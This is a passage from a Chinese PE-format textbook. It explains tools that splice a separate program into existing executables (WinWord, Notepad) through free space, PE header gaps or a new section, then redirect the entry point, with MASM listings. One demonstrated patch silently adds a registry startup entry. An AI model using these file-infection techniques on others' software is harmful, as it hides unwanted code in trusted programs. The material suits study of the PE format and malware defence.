    {"text": "14.4.2 数据结构分析 14.4.2 数据结构分析 在程序设计时使用了一些特殊的数据结构（如下所示），下面详细解释程序bind.asm用到的变量及相关数据结构。"},
    {"text": "其可能的形式如下： 举例：00002056←→000021D0是一对，前者是补丁导入表的FirstThunk指向数据结构的数组中的一项，而后者是移动到新文件修正后的值。"},
    {"text": "代码清单14-6 bind.asm中为导入表修正结构赋值 1 ;为导入表修正值结构赋值 2 mov eax,offset lpImportChange 3 mov @lpImportChange,eax 4 mov @dwSize,0 5 6 .while [esi].OriginalFirstThunk||[esi].TimeDateStamp||\\ 7 [esi].ForwarderChain||[esi].Name1||[esi].FirstThunk 8 9 ;获取IMAGE_THUNK_DATA列表到ebx 10 .if [esi].OriginalFirstThunk 11 mov eax,[esi].OriginalFirstThunk 12 .else 13 mov eax,[esi].FirstThunk 14 .endif 15 invoke _RVAToOffset,_lpFile,eax 16 add eax,_lpFile 17 mov ebx,eax 18 19 push edi 20 mov edi,@lpFirstThunk 21 .while dword ptr [ebx] 22 .if dword ptr [ebx]＆IMAGE_ORDINAL_FLAG32 ;按序号导入，无字符串常量 23 mov eax,dword ptr [ebx] 24 ;将该值原样写入原目标文件导入表所在位置 25 mov dword ptr [edi],eax 26 .else ;按名称导入 27 invoke _RVAToOffset,_lpFile,dword ptr [ebx] 28 add eax,_lpFile 29 assume eax:ptr IMAGE_IMPORT_BY_NAME 30 push esi 31 push ecx 32 push ebx 33 34 push edi 35 mov edi,_off 36 mov esi,eax 37 38 ;显示每个函数的偏移量及修正值 39 pushad 40 ;补丁程序偏移 41 mov eax,esi 42 sub eax,_lpFile 43 invoke _OffsetToRVA,_lpFile,eax 44 mov @dwTemp,eax 45 ;目标程序偏移 46 mov eax,edi 47 sub eax,lpDstMemory 48 invoke _OffsetToRVA,_lpFile1,eax 49 mov @dwTemp1,eax 50 51 add esi,2 52 53 ;将修正前的值和修正后的值排列到lpImportChange处（6） 54 mov edi,offset lpImportChange 55 mov eax,@dwSize 56 mov bl,4 57 mul bl 58 add edi,eax 59 mov eax,@dwTemp 60 mov dword ptr [edi],eax 61 inc @dwSize 62 63 mov edi,offset lpImportChange 64 mov eax,@dwSize 65 mov bl,4 66 mul bl 67 add edi,eax 68 mov eax,@dwTemp1 69 mov dword ptr [edi],eax 70 inc @dwSize 71 72 invoke wsprintf,addr szBuffer,addr szOut1913,esi,@dwTemp,@dwTemp1 73 invoke _appendInfo,addr szBuffer 74 75 popad 76 77 mov bx,word ptr [esi] ;函数编号 78 mov word ptr [edi],bx 79 add esi,2 80 add edi,2 81 add _off,2 82 mov cx,0 83 .repeat 84 mov bl,byte ptr [esi] 85 inc cx 86 .if bl!=0 ;不为0，表示未结束 87 mov byte ptr [edi],bl 88 inc edi 89 inc _off 90 .else ;是0，则看看计数值是否为偶数 91 ;如果是，则@dwSize多加1，因为偶数函数名后为2个0 92 test cx,1 93 jz@1 94 mov byte ptr [edi],0 ;字符个数为偶数，写2个0 95 inc _off 96 inc edi 97 mov byte ptr [edi],0 98 inc _off 99 inc edi 100 jmp@2 101 @1:mov byte ptr [edi],0 ;字符个数为奇数，写1个0 102 inc _off 103 inc edi 104 @2:.break 105 .endif 106 inc esi 107 .until FALSE 108 pop edi 109 110 pop ebx 111 pop ecx 112 pop esi 113 114 assume eax:nothing 115 .endif 116 add edi,4 117 add ebx,4 118 .endw 2.dwFunctions 第二个结构是dwFunctions。"},
    {"text": "这个数据结构以如下的格式记录了导入表调用函数的个数： 个数1，个数2，个数3，个数4，0 每个数均为双字，个数1是第一个动态链接库引入的函数个数，个数2是第二个动态链接库引入的函数个数，依次类推。"},
    {"text": "代码清单14-7 bind.asm中为结构dwFunctions赋值 1 mov @dwFuns,0 2 mov @dwFunctions,0 3 mov @dwDlls,0 4 5 .while [edi].OriginalFirstThunk||[edi].TimeDateStamp||\\ 6 [edi].ForwarderChain||[edi].Name1||[edi].FirstThunk 7 mov @dwFuns,0 9 invoke _RVAToOffset,_lpFile,[edi].Name1 10 add eax,_lpFile 11 12 ;获取IMAGE_THUNK_DATA列表到ebx 13 .if [edi].OriginalFirstThunk 14 mov eax,[edi].OriginalFirstThunk 15 .else 16 mov eax,[edi].FirstThunk 17 .endif 18 invoke _RVAToOffset,_lpFile,eax 19 add eax,_lpFile 20 mov ebx,eax 21 .while dword ptr [ebx] 22 inc @dwFuns 23 inc @dwFunctions 24 .if dword ptr [ebx]＆IMAGE_ORDINAL_FLAG32 ;按序号导入 25 mov eax,dword ptr [ebx] 26 and eax,0ffffh 27 .else ;按名称导入 28 invoke _RVAToOffset,_lpFile,dword ptr [ebx] 29 add eax,_lpFile 30 assume eax:ptr IMAGE_IMPORT_BY_NAME 31 movzx ecx,[eax].Hint 32 assume eax:nothing 33 .endif 34 add ebx,4 35 .endw 36 mov eax,@dwFuns 37 mov ebx,@dwDlls 38 mov dword ptr dwFunctions [ebx*4],eax 39 mov dword ptr dwFunctions [ebx*4+4],0 40 inc @dwDlls 41 add edi,sizeof IMAGE_IMPORT_DESCRIPTOR 42 .endw 43 mov ebx,@dwDlls 44 mov dword ptr dwFunctions [ebx*4],0在dwFunctions最后写一个零双字表示结束"},
    {"text": "14.4.3 运行测试 14.4.3 运行测试 运行bind.exe，输出结果可以作为理解程序设计思路的参考，如下所示： 从输出结果可以看出，程序按照依次处理数据、导入表、代码的顺序把补丁程序中的数据分解合并到目标PE中。程序运行的截图如图14-3所示。 图 14-3 补丁运行截图 运行补丁工具程序，在C盘根目录下会生成打了补丁的新程序bind.exe。运行bind.exe表面上好像没有发生什么变化，也只是弹出了HelloWorld对话框，但在注册表的启动项中却多了一个值，如图14-4所示。 图 14-4 注册表启动项增加的项"},
    {"text": "14.4.4 适应性测试实例分析 14.4.4 适应性测试实例分析 接下来，测试另外一个补丁程序，将第4章开发过的锁定任务栏的简单PE程序LockTray.asm作为补丁程序（该文件可在随书文件chapter14目录中找到）。"},
    {"text": "1.编写补丁程序 根据规则，在该源代码的最后添加占位的跳转指令如下： jmpToStart db 0E9h,0F0h,0FFh,0FFh,0FFh 编译链接生成LockTray.exe文件。 2.运行补丁工具 补丁工具不再需要单独开发，在已有的bind.asm中修改补丁文件的路径，使它指向新的补丁PE文件LockTray.exe，重新编译、链接和执行程序，执行结果如下： 运行生成的C:\\bind.exe程序时，发现任务栏被锁定。"},
    {"text": "即使其他节的空间足够大，假设数据段有足够的容量存放补丁程序的所有数据，可是程序设计时只把补丁程序的数据存放到了该段中，其他数据存放到其他段中，而其他段却没有足够的空闲空间存储那些数据。"},
    {"text": "1）用bind为bind.exe打补丁的运行结果（因空间不足，输出打补丁失败提示信息）： 补丁文件：D:\\masm32\\source\\chapter14\\patch.exe 目标文件：D:\\masm32\\source\\chapter14\\bind.exe …… 合并以后文件导入表大小（含零结构）：00000050 ＞＞目标段空间不够，不足以容纳补丁导入表及相关数据！ 2）用bind1为bind.exe打补丁的运行结果（因将导入表转移到数据段，补丁成功）： 补丁文件：D:\\masm32\\source\\chapter14\\patch.exe 目标文件：D:\\masm32\\source\\chapter14\\bind.exe 补丁数据段的有效数据大小为：00000062 补丁数据段在文件中的起始位置：00000800 补丁数据段在内存中的起始地址：00003000 目标数据段的有效数据大小为：000016d8 目标数据段在文件中的起始位置：00003c00 目标数据段在文件中对齐后的大小：00001800 目标数据段在内存中的起始地址：00006000 目标文件的数据段中有空间,剩余空间大小为：00000eec,需要大小：00000062。 补丁数据段在目标文件中存放的起始位置：0000539e 数据在新文件的内存中的起始地址：0040779e ---------------------------------------------------------- 补丁导入表所在段的有效数据大小为：00000086 补丁导入表所在段在文件中的起始位置：00000600 补丁导入表在文件中的起始地址：00000610 目标导入表所在段的有效数据大小为：0000117a 目标导入表所在段在文件中的起始位置：00002a00 目标导入表在文件中的起始地址：00003960 目标导入表所在段在文件中对齐后的大小：00001200 补丁程序调用链接库个数：00000001 补丁程序调用函数个数：00000003 补丁程序调用动态链接库及每个动态链接库调用函数个数明细： 03 00 00 00 00 00 00 00 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 目标程序调用链接库个数：00000002 目标程序调用函数个数：00000017 目标程序调用动态链接库及每个动态链接库调用函数个数明细： 08 00 00 00 0F 00 00 00 00 00 00 00 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 目标文件中原有导入表空间：0000003c,补丁程序中导入函数两个相关数组的大小：00000020前者若大于后者,则bind可继续进行 补丁文件导入函数名和动态链接库名字符串常量的大小：0000003e 合并以后文件导入表大小（含零结构）：00000050 目标文件的导入表所处的段中无空间，但数据段有剩余空间，其大小为:00000e8a,需要大小：0000008e。"},
    {"text": "1）bind.exe如果判断出空间不够，即退出： .else ;导入表段空间不够 invoke _appendInfo,addr szErr21 jmp @ret .endif 2）bind1.exe如果判断出空间不够，还要看其他节的空间是否可以被有效利用： .else ;导入表段空间不够 ;如果导入表所在段空间不够，可以看看数据段空间是否可用 mov eax,dwDataLeft sub eax,dwPatchDataSize .if eax＞dwImportSpace2 ;数据段还有空间 mov @dwTemp,eax mov dwImportLeft,eax mov eax,lpNewData sub eax,dwImportSpace2 mov @dwTemp1,eax mov lpNewImport,eax invoke wsprintf,addr szBuffer,addr szOut2601,@dwTemp,dwImportSpace2,@dwTemp1 invoke _appendInfo,addr szBuffer ;将目标文件的导入表复制到指定位置（4） mov esi,_lpFile2 add esi,dwDstImportInFileStart mov edi,lpDstMemory add edi,@dwTemp1 mov ecx,dwDstImportSize rep movsb ;此时edi指向导入表的最后一个位置，向前返回14h的零IMAGE_IMPORT_DESCRIPTOR结构 sub edi,14h push edi ;计算补丁导入表在新文件的偏移 sub edi,lpDstMemory mov lpPImportInNewFile,edi pop edi ;将补丁导入表复制到紧接下来的位置（5） mov esi,_lpFile1 add esi,dwPatchImportInFileStart mov ecx,dwPatchImportSize rep movsb ;分析补丁导入表内容 ;从补丁导入表获得动态链接库常量内容，添加到新文件 invoke pasteImport,_lpFile1,_lpFile2,edi .else invoke _appendInfo,addr szErr21 ;数据段空间也不够，则退出 jmp @ret .endif .endif"},
    {"text": "14.5 小结 14.5 小结 PE空闲空间可以由文件头部数据结构中连续的可覆盖的字段空间组成，也可以由对齐特性产生的全0空间组成。本章主要针对后者编写一个补丁程序，通过手工和开发补丁程序两种方式为目标PE实施补丁。该部分涉及对导入表的处理、数据的合并、指令操作数修正等操作。 第15章 在PE间隙中插入程序 第15章 在PE间隙中插入程序 第14章通过一个实例，介绍如何将自己编写的程序代码加入到任何一个可执行文件的空闲空间中。本章研究如何利用PE文件间隙，在PE间隙中插入程序的方法。 在PE中插入程序的最大障碍，除了大部分PE文件中存在的空闲空间不足之外，还有一点就是对导入表的处理，对这部分数据的处理比较复杂。本章将使用第13章介绍的嵌入补丁程序框架，通过动态加载技术和免重定位技术的应用，打造一个免导入表的、更容易放到其他PE里的补丁程序。先来看看什么是PE间隙。 15.1 什么是PE间隙 第14章介绍过，PE相关数据结构中存在大量无用的字段和空闲空间，这些对于编写一些小的嵌入程序而言，空间是足够的，但无法容纳相对大一点的程序。间隙的存在，为程序代码提供了更大的生存空间。 空闲空间存在于PE文件格式相关的的数据结构中，而间隙则存在于数据结构之外。PE文件格式中存在三个主要的间隙，见图15-1。 图 15-1 PE中的间隙 图15-1显示了PE结构外存在的三个间隙： 间隙一 主要是定义DOS Stub程序，而在Windows环境中，16位程序已然废弃，所以，把这个间隙当做可以利用的空间是可行的。该间隙的大小一般由不同的编译器和链接程序定义。选用不同的编译器，使用不同的链接参数，该大小是不一样的。通过调整字段IMAGE_DOS_HEADER.e_lfanew的值也可以改变间隙一的大小。 间隙二 一般由用户自己扩充定义。通过调整字段IMAGE_FILE_HEADER.SizeOf OptionalHeader的值即可改变间隙二的大小。 间隙三 大小也是由不同编译器和不同链接参数决定。通过调整字段IMAGE_OPTIONAL_HEADER32.SizeOfHeaders的值即可改变间隙三的大小。 开发者既可以将补丁程序部署到某一个间隙，也可以同时选择两个或三个间隙，根据自己的需要来定义。本章只演示将自己的代码部署到间隙一的方法。 15.1.1 构造间隙一 一个有4个节表的标准PE头文件的文件头部分总大小为258h，根据Win32的内存映射的机制，该文件头部分将被安排到基地址的开始处。也就是说，从258h开始，一直到1000h在内存中都将空闲，这个空间就是间隙一的最大空间，如图15-2所示。 图 15-2 PE文件被装入内存以后的间隙一 如图所示，在真正构造间隙时，间隙并不在PE头部后面，而是在DOS Stub和PE头之间，通过扩充PE字段IMAGE_DOS_HEADER.e_lfanew的值来实现。即将该字段加上嵌入的代码长度（允许嵌入代码的最大长度为1000h-0258h=0DA8h），间隙扩充出来后，将补丁代码复制到间隙一起始位置即可。 15.1.2 间隙一与参数 15.1.2 间隙一与参数 由于本实例的补丁程序没有导入表、没有数据段，并且代码里没有可以修正的重定位代码，所以对目标PE文件的相关参数的修正工作量很小。 间隙一的出现使得目标PE文件的大小发生了变化，所以，凡是在PE文件里涉及文件偏移的所有字段均需要修正。这些字段和参数主要包括： IMAGE_OPTIONAL_HEADER32.SizeOfHeaders（文件头+节表的大小） 节表中的IMAGE_SECTION_HEADER.PointerToRawData在文件中的偏移 代码中的E9 FC FF FF FF指令中操作数的修正 IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint（代码入口地址） IMAGE_DOS_HEADER.e_lfanew（DOS Stub程序偏移） 幸运的是，代码中的大部分地址是与内存有关的RVA，而非文件偏移，所以要修正的字段全部都已经列出来了。 注意 这里没有列出IMAGE_OPTIONAL_HEADER32.SizeOfImage字段。在大部分情况下，对PE文件做过修改后都要修正这个值。因为本章假设补丁代码只用到了PE加载器分配给文件头部（1000h）空间的剩余空间，即使不用这些空间PE加载器也不会给文件头部分配更小的空间。所以，尽管文件大小发生了变化，但加载到内存后的PE映像尺寸并没有发生变化。"},
    {"text": "15.2 插入HelloWorld的补丁程序实例 15.2 插入HelloWorld的补丁程序实例 本实例选定第6章编写的HelloWorld1.asm程序，因为它符合无数据段、无导入表、无重定位信息条件。 复制该文件到chapter15目录，更名为HelloWorld.asm，并在该文件中添加补丁流程转向特性，即在HelloWorld.asm的主程序的最后、ret返回指令之前加入以下指令： jmpToStart db 0E9h,0F0h,0FFh,0FFh,0FFh 详细代码见随书文件chapter15\\helloworld.asm。 重新编译链接生成HelloWorld.exe。 注意 一定要将代码段的标志06000020h更改为0e0000020h，否则运行会出现异常。 运行生成的PE文件，久违的HelloWorld对话框出现在屏幕上。显示完对话框后依然会出现异常。这个倒不用担心，这正说明代码中添加的跳转指令起作用了。 15.2.1 补丁程序字节码 以下显示了HelloWorld.exe的字节码（加黑的部分为代码）： 所有可执行的代码长度为01D8h，其中包含了导入函数、数据段、重定位信息的处理。可以说，这种结构的代码在移植性上具有更大的适应性，但是，提高了代码的适应性，但损失了代码的空间，从上面的字节码可以看出代码的长度明显增大。如果想在其他PE中找到合适空闲的空间存放代码就成了一个问题。下面就来解决这个问题，通过合理地修改PE文件头，根据操作系统特性和PE文件的数据结构的定义来创造空间，为代码找到栖身之地。 15.2.2 目标PE结构 15.2.2 目标PE结构 本实例打完补丁以后的目标PE的大致结构如图15-3所示。 图 15-3 在PE间隙一插入程序后的目标PE结构 如图所示，补丁程序中的代码段字节码被嵌入到了目标文件头部，位于DOS头和PE头中间。目标文件有变动的其他部分包括DOS头中指向\"PE\\0\\0\"标志字的指针值、目标文件PE头部部分字段、节表的每个节的文件起始偏移，而目标文件的节内容并无变化。 下面介绍本实例补丁工具的开发。 15.3 开发补丁工具 15.3 开发补丁工具 本小节将开发在PE间隙中插入补丁程序的补丁工具。重点学习本实例中用到的数据结构及变量；最后，通过对Word程序打补丁，对补丁工具进行简单测试。 首先来看补丁工具的编程思路。 15.3.1 编程思路 考虑到补丁程序采用了重定位技术、动态加载技术，补丁字节码的可移植性较强。制作的补丁工具相对简单。以下是在PE间隙中插入程序的补丁工具编程的基本思路： 步骤1 从补丁程序获取代码段字节码大小dwPatchCodeSize。 由于补丁程序使用了嵌入补丁框架，所以数据、代码、导入表等数据均在补丁程序的代码段中。此例中的PE间隙位于文件头部，当PE被加载进内存后，系统会为文件头部分配一个页面（1000h）的大小。一个普通的PE头部大小为258h，所以间隙一可利用的空间为： 1000h-258h=0DA8h 当然，用户可以通过定义把间隙一的空间变得比0DA8h更大，但一旦间隙一的空间大于该值，操作系统就会为PE头部分配多于一个页面，这将导致节表结构中描述节在内存的起始地址的字段发生变化，补丁工具必须针对这一变化修改PE中大量与之相关的数据。所以，为了简单起见，补丁工具会首先判断补丁代码段大小是否大于0DA8h；如果大于该值，则认为空间不足而拒绝打补丁。 步骤2 将补丁代码大小对齐后，加上目标PE原始文件大小得出补丁后的新文件大小dwNewFileSize。用这个变量申请内存空间，并将目标PE的DOS头和DOS Stub复制到新申请的内存中。 步骤3 通过目标PE计算出间隙一在目标文件的起始位置lpPatchPE，并将补丁程序代码段的字节复制到新申请的内存该偏移处。 步骤4 将目标PE剩余部分字节码全部复制到补丁程序代码段后，从而完成对目标PE的补丁代码的插入。 步骤5 修正因在文件头部插入代码导致的每个节在文件中起始位置的变化。 步骤6 计算嵌入补丁框架中E9指令后的跳转偏移，使其跳转到原始的目标PE文件的入口处执行原始的目标PE文件。 步骤7 修正代码入口地址使其指向新加入的补丁代码的起始地址。 最后，将内存中已创建并修改完成的目标补丁程序写入文件。 打完补丁以后的目标程序大致结构可以参见图15-3。 下面介绍补丁工具程序中用到的主要数据变量。"},
    {"text": "15.3.2 数据结构分析 15.3.2 数据结构分析 间隙一是用来存放补丁程序的。在程序编码阶段，补丁程序就被设计成一个整体，即与补丁程序有关的所有信息、数据、代码等均在其内，并且相对独立。在程序中，间隙一的大小和补丁程序的大小相等；实际上，间隙一的大小可能还要大。间隙一的实际代码大小在变量dwPatchCodeSize中，dwNewPatchCodeSize是将实际大小按照8个字节对齐后的大小。 类似地，所有的头+节表大小也有两个表示，其中后者是按照字段IMAGE_OPTIONAL_HEADER32.FileAlignment对齐以后的大小。前者是实际大小，后者的大小放到了变量lpOthers里。 因为文件头从0开始，所以DOS头+DOS Stub的大小实际就是IMAGE_DOS_HEADER.e_lfanew的值，程序中用变量lpPatchPE表示，各变量位置见图15-4。 图 15-4 补丁程序中各变量的位置 如图15-4所示，lpFirstSectionStart是第一个节的数据位于文件中的偏移，大部分情况下，该值与lpOthers相等。也有例外，通过对诸如记事本、IExplorer.exe等程序的分析可以看到，在这些程序的文件头里，节表后还有一些数据，它们是绑定导入数据。对这些可执行文件打补丁的方法在后面再进行讨论。 注意，当前的程序只适应于节表定义后再无数据的PE程序。 例如，打开WinWord.exe（Word字处理程序），其文件头节表定义部分如下： 节表后再无任何数据，补齐的部分全是用0填充。 下面再看一个记事本程序，它的节表定义后的部分如下： 可以看到，在节表后，文件偏移0x00000250开始的位置还有一些与绑定导入有关的数据，如果用本章开发的第一种补丁工具对这种程序打补丁，在OD中调试会提示找不到动态链接库。 对这种PE文件打补丁的基本思路是：从目标PE的第一个节表的文件偏移往前找非0字节（找到足够可以存放补丁代码大小的0即终止查找）；然后，将lpPatchPE指向该位置，保留原始数据即可。与记事本程序的文件头类似的还有很多常见的程序，比如IExplorer.exe、Explorer.exe等。"},
    {"text": "以下代码完成了对指定目标PE实施补丁的功能，补丁程序选择15.2节生成的path.exe程序，生成的打过补丁的目标PE文件为C:\\bindA.exe，完整的代码请参照随书文件chapter15\\bind.asm。"},
    {"text": "15.3.4 运行测试 15.3.4 运行测试 编译链接bind.asm，生成bind.exe，执行该程序。 选择菜单“文件”|“打开补丁文件”，选择patch1.exe。 选择菜单“文件”|“打开PE文件”，选择C:\\WINWORD.EXE。 选择菜单“文件”|“附加到间隙一”，执行打补丁过程。运行时的输出如下： 以上信息比第14章看到的少，主要原因是补丁程序的设计做了很大的改动。你可以使用PEInfo和PEComp两个小工具对原文件和生成的新文件进行比对分析，这里略过。运行界面如图15-5所示。 图 15-5 为WinWord打补丁运行界面 运行C:\\bindA.exe可以看到，首先出现HelloWorld对话框，然后才打开Word程序。 15.4 存在绑定导入数据的PE补丁程序实例 15.4 存在绑定导入数据的PE补丁程序实例 本节针对上一节开发的补丁进行改进，使其可以适应具有绑定导入数据的PE文件。这些改进涉及补丁程序和补丁工具，以下将分别讨论。 15.4.1 改进补丁程序 补丁程序的编写方法及某些技巧的运用直接决定了打补丁的难易程度。以下是改进后的补丁程序的部分代码： ;代码段 .code jmp start ;代码段的起始指令为跳转指令，接下来定义的是只读属性的常量 szText db 'HelloWorldPE',0 szGetProcAddr db 'GetProcAddress',0 szLoadLib db 'LoadLibraryA',0 szMessageBox db 'MessageBoxA',0 user32_DLL db 'user32.dll',0,0 ┇ start: ;取当前函数的栈顶值 mov eax,dword ptr [esp] push eax call @F ;免去重定位 @@: pop ebx sub ebx,offset @B pop eax invoke _goThere ;调用我们的补丁代码 jmpToStart db 0E9h,0F0h,0FFh,0FFh,0FFh ;跳转到原代码部分执行 ret end start 我们将补丁程序用到的所有代码装入一个子程序，将用到的可读、可写的数据全部设置为局部变量，让程序自动使用栈存取这些数据，这样可以避免代码操作数的重定位。代码清单15-2是补丁代码中子程序的实现过程。 代码清单15-2 补丁子程序的函数_goThere（chapter15\\patch1.asm） 1 _goThere proc 2 local _getProcAddress:_ApiGetProcAddress ;定义函数 3 local _loadLibrary:_ApiLoadLib 4 local _messageBox:_ApiMessageBoxA 5 6 7 local hKernel32Base:dword 8 local hUser32Base:dword 9 local lpGetProcAddr:dword 10 local lpLoadLib:dword 11 12 pushad 13 14 ;获取kernel32.dll的基地址 15 invoke _getKernelBase,eax 16 17 mov hKernel32Base,eax 18 19 ;从基地址出发搜索GetProcAddress函数的首址 20 mov eax,offset szGetProcAddr 21 add eax,ebx 22 23 mov edi,hKernel32Base 24 mov ecx,edi 25 26 invoke _getApi,ecx,eax 27 mov lpGetProcAddr,eax 28 29 ;为函数引用赋值GetProcAddress 30 mov _getProcAddress,eax 31 32 ;使用GetProcAddress函数的首址 33 ;传入两个参数调用GetProcAddress函数 34 ;获得LoadLibraryA的首址 35 mov eax,offset szLoadLib 36 add eax,ebx 37 invoke _getProcAddress,hKernel32Base,eax 38 mov _loadLibrary,eax 39 40 ;使用LoadLibrary获取user32.dll的基地址 41 mov eax,offset user32_DLL 42 add eax,ebx 43 invoke _loadLibrary,eax 44 45 mov hUser32Base,eax 46 47 ;使用GetProcAddress函数的首址 48 ;获得函数MessageBoxA的首址 49 mov eax,offset szMessageBox 50 add eax,ebx 51 invoke _getProcAddress,hUser32Base,eax 52 mov _messageBox,eax 53 54 ;调用函数MessageBoxA 55 mov eax,offset szText 56 add eax,ebx 57 invoke _messageBox,NULL,eax,NULL,MB_OK 58 59 popad 60 ret 61 _goThere endp 补丁代码的子程序几乎完成了全部的补丁功能。行14～17调用内部函数_getKernelBase获取kernel32.dll的基地址；行19～38得到GetProcAddress和LoadLibraryA两个函数的地址；行40～45动态加载user32.dll到进程虚拟内存空间；行47～52得到函数MessageBoxA的地址，行54～57调用MessageBoxA显示弹出窗口。"},
    {"text": "图 15-6 bind1程序中各数据的位置 如图15-6所示，为了保持目标PE文件中绑定导入数据的相对位置不发生变化，补丁工具首先求出了目标PE文件头中有效的数据长度dwValidHeaderSize，这个长度包含了PE头和绑定导入数据；"},
    {"text": "15.4.3 为记事本程序打补丁 15.4.3 为记事本程序打补丁 下面，为了测试对头部具有绑定导入数据的PE文件补丁效果，我们使用bind1为记事本程序打补丁，补丁程序选择patch1.exe。运行结果如下： 经测试，打完补丁以后生成的C:\\bindA可以正常运行；其运行效果是先弹出HelloWorld对话框，用户确认后才弹出记事本程序窗口。 15.5 小结 15.5 小结 本章主要介绍在扩充DOS Stub以后产生的PE间隙中插入程序的方法。PE文件中存在三处间隙，想在间隙里插入程序，首先要通过合理地修改某些头部字段实现间隙；然后，将补丁程序复制到这些间隙中，并对补丁程序和文件头部信息进行修正。 和第14章不同，这种方法改变了文件前半部分的大小，因此，后半部分涉及节中与文件偏移有关的信息必须得到修正。 第16章 在PE新增节中插入程序 第16章 在PE新增节中插入程序 本章研究的是在目标PE中新增一个节，并将可执行代码附加到该节中的技术。本章设计了一个在本地建立子目录的补丁程序和补丁工具。补丁工具中对文件头部做的修改主要包括以下字段：SizeOfHeader、SizeOfImage、AddressOfEntryPoint和NumberOfSections。 16.1 新增PE节的方法 补丁程序创造空间最好的做法就是：按照PE数据结构的规则新增加一个节，然后将这个节有机地融合到PE文件中。 为PE文件新增加一个节的空间，只需要扩充文件尾部即可。但要想将该节加入到PE文件中，并通知PE头部信息，要做的工作还是不少的，这些工作包括但不仅限于： 在文件头部重新修改节的数量字段。 在文件头部节表后追加一个节的IMAGE_SECTION_DESCRIPTOR描述结构，并对这个结构中的每个字段赋值。 如果新建的PE节中包含可执行代码，必须设置好该节的属性，保证该节被装载到内存后对应的页面是可执行。 幸运的是，节表的定义位于文件头部，且在其他数据结构定义之后，其扩充操作可以在文件头部范围内完成，而无需移动其他节相关的数据。图16-1为新增一个节后的PE结构示意图。 图 16-1 新增一个节后的PE文件结构 如图所示，节表中增加了一项用于描述新增加的节，然后将变动的文件头部分按照文件对齐粒度实施对齐，新增的节附加到文件末尾。首先来了解本章用到的补丁程序。"},
    {"text": "16.2 在本地建立子目录的补丁程序实例 16.2 在本地建立子目录的补丁程序实例 本实例中，补丁程序的主要目标是在本地C盘根目录下建立子目录。"},
    {"text": "补丁程序的字节码将被添加到新的节中，以下为补丁程序源代码，该补丁程序实现以下两个功能：在C盘上创建一个名为BBBN的目录，然后显示一个对话框。"},
    {"text": "16.2.1 补丁程序源代码 为了降低编写补丁工具的难度，在补丁程序代码中使用了前面几章讲述的编程技术，如补丁代码中对涉及地址的地方使用了本书6.1节中的代码重定位技术，对导入函数的调用则使用了本书11.4节中介绍的API函数地址的动态获取技术，完整源代码见代码清单16-1。"},
    {"text": "kernel32.dll基地址的获取方法采用了本书11.3.3介绍的方法，即利用操作系统的SEH机制得到kernel32.dll内部RVA，结合内存扫描技术获取kernel32.dll的基地址。"},
    {"text": "行207～215得到函数GetProcAddress的地址，因为补丁程序用到的外部函数均来自于一个动态链接库kernel32.dll，该动态链接库已经被程序加载到进程地址空间中，所以本示例中不再需要获取函数LoadLibraryA的地址。 行217～223通过函数GetProcAddress得到创建目录函数CreateDirectoryA的地址存储到变量_createDir中，行225～228通过调用该函数创建指定名称的目录。"},
    {"text": "16.2.2 目标PE结构 16.2.2 目标PE结构 本实例程序中用到的所有变量所在位置如图16-2所示。 图 16-2 在PE新增节中插入程序后的目标PE结构 如图所示，PE文件被分隔成四部分： 目标文件DOS头。包含目标文件的DOS MZ头和DOS Stub。 目标文件PE头+节表。节表部分除了目标文件的所有的节表项外，还有新增加的节表项，以及节表的最后一个零结构项。 目标文件所有节的内容。 新增节的内容。 补丁工具程序中用到的主要变量有两个： lpPatchPE（目标文件PE头起始地址） lpOthers（节表后的节内容的起始地址） 另外，还有很多长度变量，这些长度变量基本上分为两类：一类是原始长度，一类是按照文件对齐粒度对齐后的长度。这些长度与变量之间的关系如下： lpOthers= dwValidHeadSize+dwPE_SECTIONSize+dwPE_SECTIONSize+sizeof IMAGE_SECTION_HEADER*2 lpOthers=dwHeaderSize ;按文件对齐粒度对齐以后的大小 lpPatchPE=dwValidHeadSize dwHeaderSize=dwValidHeadSize+dwPE_SECTIONSize+sizeof IMAGE_SECTION_HEADER*2 熟悉目标PE打补丁后的结构及各变量间的关系，可以帮助读者理解编程思路。 16.3 开发补丁工具 16.3 开发补丁工具 有了对补丁程序和对PE中新增节的认识，下面来开发补丁工具。本节将开发一个能够将补丁程序嵌入到PE新增节中的补丁工具，首先来看编程思路。 16.3.1 编程思路 按照对“在PE新增节中插入程序”的理解，补丁工具编写的思路应包括以下五步： 步骤1 新建一个节，将该节命名为\"PEBindQL\"。 注意 因为程序与数据是在一起的，所以该节的属性必须定义为：可读、可写、可执行，即将该节的属性设置为0C0000060H。 步骤2 将补丁程序的字节码附加到原PE文件的末尾。 步骤3 计算新节的相关数据（如节的名称、节实际尺寸大小、节对齐尺寸、节的属性、节的起始RVA、节在文件中的偏移等），在节表里将该节添加进去。 步骤4 修改全局变量，如SizeOfImage、SizeOfHeaders等。 步骤5 在文件头部修改入口地址，指向新节的可执行代码入口处；同时，修正新节最后E9指令的操作数，使其返回到原始的文件入口处。 这种操作与在链表的中间部位插入一个元素非常类似，而链表就是机器指令流，插入的元素就是要执行的代码。补丁工具的开发流程如图16-3所示。 图 16-3 补丁工具开发流程 如图16-3所示，补丁工具的编程思路是根据对“在PE新增节中插入程序”的理解来写的。事实上，在进行程序设计时，考虑到代码功能的一致性原则和程序结构化设计的特点，其具体实现思路略有不同。比如，编程思路的第一步是通过为变量赋值，得出新增节所在节表的起始和新增节内容所在文件的偏移来实现的；第二步附加补丁代码是通过构造新文件数据实现的；后三步则是通过修正字段参数来实现的。 下面将按照源代码中对程序设计的步骤分三部分来描述补丁工具的编写，这三部分依次是： 为变量赋值 构造新文件数据 修正字段参数 16.3.2 为变量赋值 16.3.2 为变量赋值 首先来看第一部分：为变量赋值。补丁工具程序需要通过程序计算的变量包括以下项目： 1）dwPatchCodeSize 获取补丁代码大小 2）dwNewSectionSize 获取对齐后的长度，即新增节的大小 3）dwValidHeadSize 获取目标文件PE头部有效数据的长度 4）lpPatchPE 将该长度按照8位对齐，对齐后的大小 5）dwSections 获取目标文件节表大小（不含零结构） 6）dwPE_SECTIONSize 计算目标文件PE头和节表的大小 7）dwHeaderSize 计算新文件中文件头有效数据大小 8）lpOthers 计算新文件中文件头对齐后的大小 9）dwOff 计算新文件文件头比目标文件多出的部分 10）dwNewFileAlignSize 将目标文件的大小按照文件对齐粒度对齐后的大小 11）dwNewFileSize 计算新文件大小 